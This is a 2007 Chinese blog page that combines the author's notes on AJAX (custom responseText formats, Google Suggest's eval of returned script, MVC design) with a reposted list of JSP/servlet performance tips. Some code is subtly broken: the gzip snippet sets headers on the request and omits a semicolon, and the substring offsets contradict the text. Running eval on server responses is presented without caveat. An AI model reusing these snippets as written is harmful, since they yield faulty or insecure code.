一般读取AJAX返回的XML结构的数据时使用XMLHttp的responseXML对象属性,同时,XMLHttp也提供了另外一个属性,即ResponseText,通过这个属性,XMLHttp可以接受来自服务器的文本结构的字符串信息。去掉XML的AJAX可以使用ResponseText这个对象属性,很灵活的操控返回数据的格式,可以自定义格式,比如我通常喜欢用c语言的那种文件流方式定义返回的字符串结构,有文件头和具体的文件信息实体,文件头分为状态信息以及文件字符长度,我摒弃了文件字符长度的定义,规定死接受的ResponseTex字符串中的第一位为状态码,比如设定常量值0表示一起正常,非0的数字表示不正常,甚至有错误等。如果有非0值,程序自动取第二位起到257位(长度为256)的字符串组成为状态信息,从258位开始到末尾的字符串就是服务器返回的正常结果信息。

 
substring(0,1)取状态码
substring(1,256)取服务器错误信息(错误信息不够256位用空格补齐,取到数据后进行Trim处理)
substring(256,末尾)取服务器返回的数据信息
三次substring即完成了一个简单但完整的交互工作。比起XML解析组件来说要快的多。

 

       用ResponseText比封装为XML处理数据快和简单是一个原因,另一个原因是可操控性更大更灵活,打开Google Suggest,在搜索框输入字符可以给你给出拼写提示,Suggest就是应用了AJAX技术,不过它在从服务器返回数据时并没有使用XML封装,也没有自定义ResponseText格式,而是直接将返回代码组织成js脚本,通过浏览器返回后直接执行,如eval(XMLHttp.ResponseText)这样的方式进行执行,http://www.google.com/complete/search?hl=en&js=true&qu=ajax 通过这个链接你可以看到Suggest利用AJAX得到的返回数据,此页面是在Google Suggest的搜索框中输入"AJAX"后得系统动态返回的数据。


sendRPCDone(frameElement, "ajax", new Array("ajax", "ajax amsterdam", "ajax fc", "ajax ontario", "ajax grips", "ajax football club", "ajax public library", "ajax football", "ajax soccer", "ajax pickering transit"), new Array("3,840,000 results", "502,000 results", "710,000 results", "275,000 results", "8,860 results", "573,000 results", "40,500 results", "454,000 results", "437,000 results", "10,700 results"), new Array("")); 
浏览器段拿到这段代码后直接eval就可以了,至于sendRPCDone这个函数,那当然得实现定义后并装载到页面中啦。XMLHttp这个名字以XML开头,让很多人禁锢了思想和创意,完全抛弃X,你也可以做出纯AJAX的实例来。 

当然,对于大型系统来讲,为了保持数据接口的一致和整齐,还是用XML来传递更严谨更统一点,听说微软已经发起了重写XML Parse组件的号召,估计下一个版本的XMLHttp还是DOMParser还是MSXML2.DOMDocument都会大大提高效率,减少资源占用的。

一、AJAX最值得称赞的是异步交互,而不是无刷新
     很多人都看好AJAX无刷新的技术,以至于认同AJAX就是用来做无刷新的。这个认识是错误的,什么是无刷新?无刷新就是页面无需重载,那什么又是异步交互?异步交互就是一个简单的多线程,当你在一个blog里看文章时,同时也可以利用AJAX进行无刷新的回复提交,看起来虽然也是无刷新,但这里最重要的是异步,即你能一边看文章,一边又能向服务器提交你的回复信息,利用好这个异步,才能算是掌握了AJAX的精髓。很多场合,无刷新是呈现给用户的视觉体验,而异步交互却是默默无闻的工作在台后,这种情况导致大多数人的错误理解了AJAX的权重之分。

二、推荐在WEB上轻量级的应用AJAX

著名的图片存储网站Flickr利用AJAX可谓出神入化。我之所以这么说,是因为我认为Flickr深知AJAX的利与弊,并且牢牢抓住自己的网站的功能特点,并没有因AJAX而AJAX,而是架驱于技术至上,让AJAX融于网站之中,为网站提供了更好的功能服务。如Flickr中无论是在多图列表页面还是单图详细页面,修改图片的标题和描述都应用了AJAX技术,让用户无需跳转到单独的编辑页面中,编辑后单击保存,亦使用了异步交互的方式进行数据提交,这时,页面上显示一个Loading字符外,其他部分不受任何影响,可谓太贴心的服务。 


再如基于Tag的专业Blog搜索服务商Technorati也使用了AJAX,在搜索某个Tag时,页面主导部分会即刻显示所有Technorati数据库中查询到的数据条目,在左边的侧边栏上会显示两个Loading图标,过一会儿,这两个Loading就会显示具体的内容了,显示的是此Tag相关的Flickr的图片和书签服务网站(Furl&del.icio.us)的链接,因为这两部分内容是取自其他网站,如果由服务器统一先取得数据在一同显示到页面时,会受到网速影响而变慢,通过AJAX的异步交互方式首先立即显示本地数据,然后由客户端去和Flickr、Furl、del.icio.us打交道分别取得它们的数据,即节约了流量带宽又不影响用户访问速度,可谓高明。 

通过以上两个国外成功应用AJAX的网站,我们发现他们都使用的是轻量级的AJAX,就是那种交互简单,数据较少的操作。这也符合AJAX的本意,虽然像http://www.backbase.com/和bindows都在RIA上有惊人的表现能力,但是速度慢、搜索引擎支持不好、开发难度大等毛病还是无法让用户满意的,请记住:AJAX的最终目的是为了提高用户体验,为了方便用户交互,而不是因技术而技术的。

三、AJAX的MVC架构设计
很多人认为在成熟的框架中应用AJAX会破坏框架的完整性,比较常见的说法有三层架构的WEB应用中破坏MVC模式,其实不然。MVC的理论我就不多说了,经典的那三个层、五条线大家都很熟悉,在WEB应用中,因为浏览器/服务器固有的这种请求/响应的断开式网络通讯模式,决定了在Model层无法实现主动向View层发出数据更新事件,所以一般常见的成熟MVC框架中都将经典MVC理论稍作修改:由Model层处理完业务后通知Control层,然后由Control层承担向View发送数据更新的义务。但是AJAX天生具有监听功能,AJAX实现异步响应的那个OnReadyStateChange事件就具有在客户端程序中才会有的事件监听功能。现在想来,利用AJAX实现的MVC模型有如下图这样:


理想化的设计如下所示:


三层对应的文件对象:view.jsp(视图)、action.do(控制器)、model.java(模型) 
view.jsp是用户看到的界面,并通过内置的AJAX对象异步方式给action.do发送请求,AJAX.OnReadyStateChange开始监听 
action.do接收到view.jsp发过来的请求(GET或者POST方式),通过Request判断后发送给相应的业务/数据模型model.java 
model.java开始执行业务操作,执行完毕直接给view.jsp页面发送数据更新的通知,这个通知的消息有可能是XML封装的数据,也有可能是一段文本,甚至是一段HTML代码,当然,既然用MVC,不推荐有Model发送HTML,推荐还是用XML封装业务数据即可。 
view.jsp页面中AJAX对象的OnReadyStateChange接收到了数据更新通知,根据实际情况用DOM进行页面呈现更新。 
通过以上几步一气呵成,一个典型的基于MVC的三层交互就完成了。当然,熟悉WEB下的MVC框架的用户,如熟悉Struts的Java开发人员可能不习惯由Model层给View直接发送数据更新通知,那咱们也可以转变一下,Model层业务处理完毕将更新通知先发送给Control,由Control去通知View亦可。 

提升JSP应用程序的七大绝招
转贴

你时常被客户抱怨JSP页面响应速度很慢吗?你想过当客户访问次数剧增时,你的WEB应用能承受日益增加的访问量吗?本文讲述了调整JSP和servlet的一些非常实用的方法,它可使你的servlet和JSP页面响应更快,扩展性更强。而且在用户数增加的情况下,系统负载会呈现出平滑上长的趋势。在本文中,我将通过一些实际例子和配置方法使得你的应用程序的性能有出人意料的提升。其中,某些调优技术是在你的编程工作中实现的。而另一些技术是与应用服务器的配置相关的。在本文中,我们将详细地描述怎样通过调整servlet和JSP页面,来提高你的应用程序的总体性能。在阅读本文之前,假设你有基本的servlet和JSP的知识。

  方法一:在servlet的init()方法中缓存数据

  当应用服务器初始化servlet实例之后,为客户端请求提供服务之前,它会调用这个servlet的init()方法。在一个servlet的生命周期中,init()方法只会被调用一次。通过在init()方法中缓存一些静态的数据或完成一些只需要执行一次的、耗时的操作,就可大大地提高系统性能。

  例如,通过在init()方法中建立一个JDBC连接池是一个最佳例子,假设我们是用jdbc2.0的DataSource接口来取得数据库连接,在通常的情况下,我们需要通过JNDI来取得具体的数据源。我们可以想象在一个具体的应用中,如果每次SQL请求都要执行一次JNDI查询的话,那系统性能将会急剧下降。解决方法是如下代码,它通过缓存DataSource,使得下一次SQL调用时仍然可以继续利用它:



 
 
 public class ControllerServlet extends HttpServlet
{
 private javax.sql.DataSource testDS = null; 
 public void init(ServletConfig config) throws ServletException
 {
  super.init(config); 
  Context ctx = null;
  try
  { 
   ctx = new InitialContext();
   testDS = (javax.sql.DataSource)ctx.lookup("jdbc/testDS");
  }
  catch(NamingException ne)
  {
   ne.printStackTrace(); 
  }
  catch(Exception e)
  {
   e.printStackTrace();
  }
 }

 public javax.sql.DataSource getTestDS()
 {
  return testDS;
 }
 ...
 ... 


  方法 2:禁止servlet和JSP 自动重载(auto-reloading)

  Servlet/JSP提供了一个实用的技术,即自动重载技术,它为开发人员提供了一个好的开发环境,当你改变servlet和JSP页面后而不必重启应用服务器。然而,这种技术在产品运行阶段对系统的资源是一个极大的损耗,因为它会给JSP引擎的类装载器(classloader)带来极大的负担。因此关闭自动重载功能对系统性能的提升是一个极大的帮助。

  方法 3: 不要滥用HttpSession 

  在很多应用中,我们的程序需要保持客户端的状态,以便页面之间可以相互联系。但不幸的是由于HTTP具有天生无状态性,从而无法保存客户端的状态。因此一般的应用服务器都提供了session来保存客户的状态。在JSP应用服务器中,是通过HttpSession对像来实现session的功能的,但在方便的同时,它也给系统带来了不小的负担。因为每当你获得或更新session时,系统者要对它进行费时的序列化操作。你可以通过对HttpSession的以下几种处理方式来提升系统的性能:

  ? 如果没有必要,就应该关闭JSP页面中对HttpSession的缺省设置: 如果你没有明确指定的话,每个JSP页面都会缺省地创建一个HttpSession。如果你的JSP中不需要使用session的话,那可以通过如下的JSP页面指示符来禁止它:



 
 
 <%@ page session="false"%>  

  ? 不要在HttpSession中存放大的数据对像:如果你在HttpSession中存放大的数据对像的话,每当对它进行读写时,应用服务器都将对其进行序列化,从而增加了系统的额外负担。你在HttpSession中存放的数据对像越大,那系统的性能就下降得越快。

  ? 当你不需要HttpSession时,尽快地释放它:当你不再需要session时,你可以通过调用HttpSession.invalidate()方法来释放它。

  ? 尽量将session的超时时间设得短一点:在JSP应用服务器中,有一个缺省的session的超时时间。当客户在这个时间之后没有进行任何操作的话,系统会将相关的session自动从内存中释放。超时时间设得越大,系统的性能就会越低,因此最好的方法就是尽量使得它的值保持在一个较低的水平。


  方法 4: 将页面输出进行压缩

  压缩是解决数据冗余的一个好的方法,特别是在网络带宽不够发达的今天。有的浏览器支持gzip(GNU zip)进行来对HTML文件进行压缩,这种方法可以戏剧性地减少HTML文件的下载时间。因此,如果你将servlet或JSP页面生成的HTML页面进行压缩的话,那用户就会觉得页面浏览速度会非常快。但不幸的是,不是所有的浏览器都支持gzip压缩,但你可以通过在你的程序中检查客户的浏览器是否支持它。下面就是关于这种方法实现的一个代码片段:



 
 
 public void doGet(HttpServletRequest request, HttpServletResponse response)
throws IOException, ServletException 
{
 OutputStream out = null
 String encoding = request.getHeader("Accept-Encoding"); 
 if (encoding != null && encoding.indexOf("gzip") != -1)
 {
  request.setHeader("Content-Encoding" , "gzip");
  out = new GZIPOutputStream(request.getOutputStream());
 }
 else if (encoding != null && encoding.indexOf("compress") != -1)
 {
  request.setHeader("Content-Encoding" , "compress");
  out = new ZIPOutputStream(request.getOutputStream());
 } 
 else
 {
  out = request.getOutputStream();
 }
 ...
 ... 
}  

  方法 5: 使用线程池

  应用服务器缺省地为每个不同的客户端请求创建一个线程进行处理,并为它们分派service()方法,当service()方法调用完成后,与之相应的线程也随之撤消。由于创建和撤消线程会耗费一定的系统资源,这种缺省模式降低了系统的性能。但所幸的是我们可以通过创建一个线程池来改变这种状况。另外,我们还要为这个线程池设置一个最小线程数和一个最大线程数。在应用服务器启动时,它会创建数量等于最小线程数的一个线程池,当客户有请求时,相应地从池从取出一个线程来进行处理,当处理完成后,再将线程重新放入到池中。如果池中的线程不够地话,系统会自动地增加池中线程的数量,但总量不能超过最大线程数。通过使用线程池,当客户端请求急剧增加时,系统的负载就会呈现的平滑的上升曲线,从而提高的系统的可伸缩性。

  方法 6: 选择正确的页面包含机制

  在JSP中有两种方法可以用来包含另一个页面:1、使用include指示符(<%@ includee file=”test.jsp” %>)。2、使用jsp指示符(<jsp:includee page=”test.jsp” flush=”true”/>)。在实际中我发现,如果使用第一种方法的话,可以使得系统性能更高。

  方法 7:正确地确定javabean的生命周期

  JSP的一个强大的地方就是对javabean的支持。通过在JSP页面中使用<jsp:useBean>标签,可以将javabean直接插入到一个JSP页面中。它的使用方法如下:



 
 
 <jsp:useBean id="name" scope="page|request|session|application" class=
"package.className" type="typeName">
</jsp:useBean> 

  其中scope属性指出了这个bean的生命周期。缺省的生命周期为page。如果你没有正确地选择bean的生命周期的话,它将影响系统的性能。

  举例来说,如果你只想在一次请求中使用某个bean,但你却将这个bean的生命周期设置成了session,那当这次请求结束后,这个bean将仍然保留在内存中,除非session超时或用户关闭浏览器。这样会耗费一定的内存,并无谓的增加了JVM垃圾收集器的工作量。因此为bean设置正确的生命周期,并在bean的使命结束后尽快地清理它们,会使用系统性能有一个提高。

  其它一些有用的方法 

  ? 在字符串连接操作中尽量不使用“+”操作符:在java编程中,我们常常使用“+”操作符来将几个字符串连接起来,但你或许从来没有想到过它居然会对系统性能造成影响吧?由于字符串是常量,因此JVM会产生一些临时的对像。你使用的“+”越多,生成的临时对像就越多,这样也会给系统性能带来一些影响。解决的方法是用StringBuffer对像来代替“+”操作符。

  ? 避免使用System.out.println()方法:由于System.out.println()是一种同步调用,即在调用它时,磁盘I/O操作必须等待它的完成,因此我们要尽量避免对它的调用。但我们在调试程序时它又是一个必不可少的方便工具,为了解决这个矛盾,我建议你最好使用Log4j工具(http://Jakarta.apache.org ),它既可以方便调试,而不会产生System.out.println()这样的方法。

  ? ServletOutputStream 与 PrintWriter的权衡:使用PrintWriter可能会带来一些小的开销,因为它将所有的原始输出都转换为字符流来输出,因此如果使用它来作为页面输出的话,系统要负担一个转换过程。而使用ServletOutputStream作为页面输出的话就不存在一个问题,但它是以二进制进行输出的。因此在实际应用中要权衡两者的利弊。

  总结

  本文的目的是通过对servlet和JSP的一些调优技术来极大地提高你的应用程序的性能,并因此提升整个J2EE应用的性能。通过这些调优技术,你可以发现其实并不是某种技术平台(比如J2EE和.NET之争)决定了你的应用程序的性能,重要是你要对这种平台有一个较为深入的了解,这样你才能从根本上对自己的应用程序做一个优化!
posted on 2007-03-25 12:36 MEYE 阅读(1908) 评论(1)  编辑  收藏

FeedBack:
# re: 数据库连接池的原理机制
2012-08-31 09:55 | feiji
写的不错  回复  更多评论
  

只有注册用户登录后才能发表评论。


网站导航: